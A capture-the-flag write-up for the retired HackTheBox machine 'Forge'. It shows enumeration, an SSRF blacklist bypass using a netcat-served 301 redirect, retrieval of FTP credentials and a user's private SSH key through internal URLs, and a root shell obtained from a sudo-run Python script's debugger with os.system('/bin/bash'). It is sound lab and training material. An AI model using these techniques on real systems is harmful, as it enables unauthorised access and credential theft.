This is the write-up for the box Forge that got retired at the 22nd January 2022. My IP address was 10.10.14.12 while I did this.
Let's put this in our hosts file:
10.10.11.111 forge.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/forge.nmap 10.10.11.111
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f78656629e4876b3cccb43ad25720ac (RSA)
| 256 79df3af1fe874a57b0fd4ed054c628d9 (ECDSA)
|_ 256 b05811406d8cbdc572aa8308c551fb33 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The web service forwards to the hostname forge.htb which hosts a website with images and on the top right is a button to upload an image:
It is possible to upload from an URL and when testing the IP of my local client, it makes a request to it:
nc -lvnp 80
Ncat: Connection from 10.10.11.111.
Ncat: Connection from 10.10.11.111:59776.
GET / HTTP/1.1
Host: 10.10.14.12
User-Agent: python-requests/2.25.1
Based on the User-Agent, the website may be developed with a Python framework like Django or Flask.
When testing for Server Side Request Forgery (SSRF) and browsing to localhost, it says that the URL contains a blacklisted address.
Searching for virtual hosts with Gobuster:
gobuster vhost -u http://forge.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
The subdomain admin.forge.htb exists and when browsing there, it says that only localhost is allowed. This web service could be enumerated with the upload feature.
By creating a web service that redirects to another location, the blacklist can be bypassed.
Creating a file (REQUEST) with the HTTP header Location and HTTP status code 301 Moved Permanently to forward to another location:
HTTP/1.1 301 Moved Permanently
Location: http://127.0.0.1:21/
Starting a web service on port 80 with netcat
:
nc -lvnp 80 < REQUEST
After using our IP on the upload feature, it shows a message from the FTP service, which proofs that internal services can be accessed:
Error : ('Connection aborted.', BadStatusLine("220 Forge's internal ftp server\r\n"))
Changing the location to admin.forge.htb:
HTTP/1.1 301 Moved Permanently
Location: http://admin.forge.htb/
After sending the request to our web service, a file is successfully uploaded and the HTML source code of the Admin portal can be seen:
curl http://forge.htb/uploads/jQyP1hKpntnzoEHI7mI0
<title>Admin Portal</title>
<!-- (...) -->
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
The location can be changed to the /announcements directory and uploaded again:
curl http://forge.htb/uploads/De9mdFb946dnKPytkxXo
<!-- (...) -->
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
It has credentials for the FTP service and tells that the /upload endpoint can use FTP.
Changing the location to /upload and using the "u" parameter to access the FTP service with the provided credentials:
HTTP/1.1 301 Moved Permanently
Location: http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/
It successfully uploads the file and the HTTP response shows the contents of the FTP service:
curl http://forge.htb/uploads/EC712RNy4vvMhM0cl1lo
drwxr-xr-x 3 1000 1000 4096 Aug 04 2021 snap
-rw-r----- 1 0 1000 33 Dec 30 16:26 user.txt
As the user.txt file is in the FTP service, this is most likely the home directory of the user which may have a .ssh directory:
Location: http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/.ssh/
-rw------- 1 1000 1000 564 May 31 2021 authorized_keys
-rw------- 1 1000 1000 2590 May 20 2021 id_rsa
-rw------- 1 1000 1000 564 May 20 2021 id_rsa.pub
Stealing the private SSH key:
Location: http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/.ssh/id_rsa
curl http://forge.htb/uploads/T3XtSx4YQHQGBX7GApDc -o id_rsa
As the user for the FTP service is called "user", this should work to login via SSH:
ssh -i id_rsa user@10.10.11.111
When checking the root permissions with sudo -l
, the user can execute a Python script with elevated privileges:
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
The Python script starts a socket on localhost on a random port between 1025 and 65535:
sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:25095
With a second SSH session, we can connect to the socket with the password in the Python script and it shows four options:
nc localhost 25095
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
By sending it anything other than a number, it errors and starts the Python debugger:
invalid literal for int() with base 10: b'test'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
In Pdb it is possible to run any system command:
(Pdb) import os
(Pdb) os.system("/bin/bash")
After executing bash
, it will start a shell as root!